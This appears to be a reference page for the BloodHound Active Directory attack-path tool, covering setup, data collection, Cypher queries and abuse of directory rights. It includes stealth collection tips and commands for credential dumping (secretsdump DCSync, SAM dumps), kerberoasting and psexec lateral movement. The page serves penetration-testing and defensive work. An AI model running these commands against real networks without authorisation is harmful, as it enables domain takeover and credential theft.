Skip to content

BloodHound

Active Directory attack path analysis tool for identifying privilege escalation paths and attack vectors.

Components

  • BloodHound - Visualization interface
  • SharpHound - Data collector (C#, runs on Windows)
  • BloodHound.py - Python collector (runs from Linux)
  • Neo4j - Graph database backend

Installation

Neo4j Database

# Install Neo4j
sudo apt install neo4j

# Or with Docker
docker run -p 7474:7474 -p 7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo4j:latest

# Start Neo4j
sudo neo4j start
# Access: http://localhost:7474
# Default credentials: neo4j/neo4j (change on first login)

BloodHound GUI

# Download from releases
wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
chmod +x BloodHound
./BloodHound

# Or via apt (Kali)
sudo apt install bloodhound

SharpHound (Windows Collector)

# Download from releases
wget https://github.com/BloodHoundAD/SharpHound/releases/latest/download/SharpHound.exe

# Or PowerShell version
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.ps1

BloodHound.py (Linux Collector)

# Install via pip
pip install bloodhound

# Or from source
git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py
pip install .

Data Collection

SharpHound.exe (Windows)

# All collection methods
.\SharpHound.exe -c All

# Stealth collection (LDAP only, no SMB)
.\SharpHound.exe -c DCOnly

# Specific collection methods
.\SharpHound.exe -c Session,Group,LocalAdmin,Trusts

# With domain specification
.\SharpHound.exe -c All -d domain.local

# Custom output directory
.\SharpHound.exe -c All --outputdirectory C:\Temp

# No zip output
.\SharpHound.exe -c All --NoZip

# Exclude DCs from enumeration
.\SharpHound.exe -c All --ExcludeDCs

# Throttle (delay between requests, ms)
.\SharpHound.exe -c All --Throttle 1000

# Jitter (randomness %)
.\SharpHound.exe -c All --Jitter 20

SharpHound.ps1 (PowerShell)

# Import module
Import-Module .\SharpHound.ps1

# Invoke collector
Invoke-BloodHound -CollectionMethod All

# Stealth
Invoke-BloodHound -CollectionMethod DCOnly

# Specify domain
Invoke-BloodHound -CollectionMethod All -Domain domain.local

# Custom output
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -OutputPrefix audit

bloodhound-python (Linux)

# Basic collection
bloodhound-python -u user@domain.local -p Password123 -ns 192.168.1.10 -d domain.local -c All

# With hash
bloodhound-python -u user@domain.local --hashes :NTHASH -ns 192.168.1.10 -d domain.local -c All

# Kerberos authentication
bloodhound-python -u user@domain.local -k -ns 192.168.1.10 -d domain.local -c All

# Specific collection
bloodhound-python -u user@domain.local -p pass -ns 192.168.1.10 -d domain.local -c DCOnly

# All methods
# -c All, DCOnly, Group, Session, Trusts, ACL, LocalAdmin, LoggedOn, ObjectProps, Container, PSRemote, DCOM

# Disable certificate verification
bloodhound-python -u user@domain.local -p pass -ns 192.168.1.10 -d domain.local -c All --dns-tcp

# Output directory
bloodhound-python -u user@domain.local -p pass -ns 192.168.1.10 -d domain.local -c All --zip --outputdir /tmp/bh

Scenarios

# Quick collection from Linux with DNS server specified
bloodhound-python -u user@domain.local -p Passw0rd! -ns 192.168.1.10 -d domain.local -c All

# Stealth LDAP-only collection (no SMB/session)
bloodhound-python -u user@domain.local -p Passw0rd! -ns 192.168.1.10 -d domain.local -c DCOnly
# Loop session collection to catch logons over time
.\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00
# Import and search shortest path from owned to DA
MATCH (u:User {name:"USER@DOMAIN.LOCAL"}) SET u.owned=true
MATCH p=shortestPath((u {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p

# Find kerberoastable and AS-REP roastable users
MATCH (u:User {hasspn:true}) RETURN u.name
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

Import Data

Using BloodHound GUI

  1. Start Neo4j database
  2. Launch BloodHound
  3. Login (default: neo4j/bloodhound)
  4. Click "Upload Data"
  5. Select ZIP file or JSON files
  6. Wait for import to complete

Command Line Import

# Import via bloodhound-python
bloodhound-import -f data.json

# Or directly to Neo4j
cat data.json | cypher-shell -u neo4j -p bloodhound

Analysis Queries

Pre-built Queries

BloodHound includes pre-built queries accessible from the GUI:

Shortest Paths:

  • Shortest Path to Domain Admins
  • Shortest Path from Owned Principals
  • Shortest Path to Unconstrained Delegation Systems
  • Shortest Path from Kerberoastable Users

Domain Information:

  • Find all Domain Admins
  • Find Computers with Unsupported Operating Systems
  • Find Kerberoastable Users
  • Find AS-REP Roastable Users

Dangerous Rights:

  • Find Principals with DCSync Rights
  • Find Computers where Domain Users are Local Admin
  • Find Computers where Domain Users can RDP
  • Find All Paths from Domain Users to High Value Targets

Custom Cypher Queries

Access via "Raw Query" at bottom of BloodHound:

# Find all Domain Admins
MATCH (n:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}) MATCH (m:User)-[:MemberOf*1..]->(n) RETURN m.name

# Find all computers
MATCH (c:Computer) RETURN c.name

# Find kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u.name, u.pwdlastset

# Find AS-REP roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

# Find unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

# Find users with path to DA
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p

# Find computers where user has admin
MATCH p=(u:User {name:"USER@DOMAIN.LOCAL"})-[:AdminTo]->(c:Computer) RETURN p

# Find all owned objects
MATCH (n) WHERE n.owned=true RETURN n

# Find path from owned to DA
MATCH p=shortestPath((u {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p

# Find all GenericAll permissions
MATCH p=(u:User)-[:GenericAll]->(c:Computer) RETURN p

# Find WriteOwner permissions
MATCH p=(u)-[:WriteOwner]->(g:Group) RETURN p

# Find WriteDACL permissions  
MATCH p=(u)-[:WriteDacl]->(g) RETURN p

# Find computers with LAPS enabled
MATCH (c:Computer) WHERE c.haslaps=true RETURN c.name

# Find users with SPN
MATCH (u:User) WHERE u.hasspn=true RETURN u.name, u.serviceprincipalnames

# Foreign domain group membership
MATCH p=(n)-[:MemberOf]->(g:Group) WHERE NOT n.domain = g.domain RETURN p

# Constrained delegation
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegate

# DCSync rights
MATCH p=((n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain)) RETURN p

Marking Nodes

Mark as Owned

# Mark user as owned
MATCH (u:User {name:"USER@DOMAIN.LOCAL"}) SET u.owned=true

# Mark computer as owned
MATCH (c:Computer {name:"COMPUTER.DOMAIN.LOCAL"}) SET c.owned=true

# Mark multiple users
MATCH (u:User) WHERE u.name IN ["USER1@DOMAIN.LOCAL","USER2@DOMAIN.LOCAL"] SET u.owned=true

Mark as High Value

# Mark as high value
MATCH (u:User {name:"CEO@DOMAIN.LOCAL"}) SET u.highvalue=true

# Mark group as high value
MATCH (g:Group {name:"EXECUTIVES@DOMAIN.LOCAL"}) SET g.highvalue=true

Attack Paths

Common Attack Paths

GenericAll on User:

  • Reset password
  • Add to group
  • Targeted Kerberoasting

GenericAll on Group:

  • Add member

GenericAll on Computer:

  • Resource-based constrained delegation
  • Shadow credentials

ForceChangePassword:

  • Change user password

WriteDacl on Object:

  • Grant yourself GenericAll
  • Grant yourself DCSync rights

WriteOwner on Object:

  • Make yourself owner
  • Then modify DACL

AddMember on Group:

  • Add yourself to group

Owns/GenericWrite on Computer:

  • Shadow credentials attack
  • RBCD

Integration with Other Tools

With Impacket

# Use discovered admin access
psexec.py domain/admin:pass@computer.domain.local

# DCSync if you have rights
secretsdump.py domain/user:pass@dc.domain.local -just-dc

# Kerberoast discovered SPNs
GetUserSPNs.py domain/user:pass -dc-ip DC_IP -request

With CrackMapExec

# Test discovered local admin rights
crackmapexec smb 192.168.1.0/24 -u admin -H HASH

# Dump from accessible systems
crackmapexec smb targets.txt -u admin -H HASH --sam

Collection Tips

Stealth Considerations

# Minimal collection (LDAP only, very stealthy)
.\SharpHound.exe -c Group,ACL,ObjectProps,Trusts --ExcludeDCs

# No session enumeration (avoid touching workstations)
.\SharpHound.exe -c Group,ACL,ObjectProps,Trusts,LocalAdmin --ExcludeDCs

# Slow and low
.\SharpHound.exe -c All --Throttle 5000 --Jitter 30

Comprehensive Collection

# Maximum data
.\SharpHound.exe -c All,GPOLocalGroup --OutputDirectory C:\Temp

# Loop collection (capture sessions over time)
.\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00

Troubleshooting

Connection Issues

# Check Neo4j is running
sudo systemctl status neo4j

# Check port access
nc -zv localhost 7687

# Reset Neo4j password
sudo neo4j-admin set-initial-password bloodhound

Data Import Failures

# Clear database
MATCH (n) DETACH DELETE n

# Check file permissions
chmod 644 *.json

Quick Reference

# Collection (Windows)
.\SharpHound.exe -c All

# Collection (Linux)
bloodhound-python -u user -p pass -ns DC_IP -d domain.local -c All

# Start Neo4j
sudo neo4j start

# Launch BloodHound
./BloodHound

# Mark as owned
MATCH (u:User {name:"USER@DOMAIN.LOCAL"}) SET u.owned=true

# Find path to DA from owned
MATCH p=shortestPath((u {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p

# Find kerberoastable
MATCH (u:User {hasspn:true}) RETURN u.name

# Find AS-REP roastable
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

# Find unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name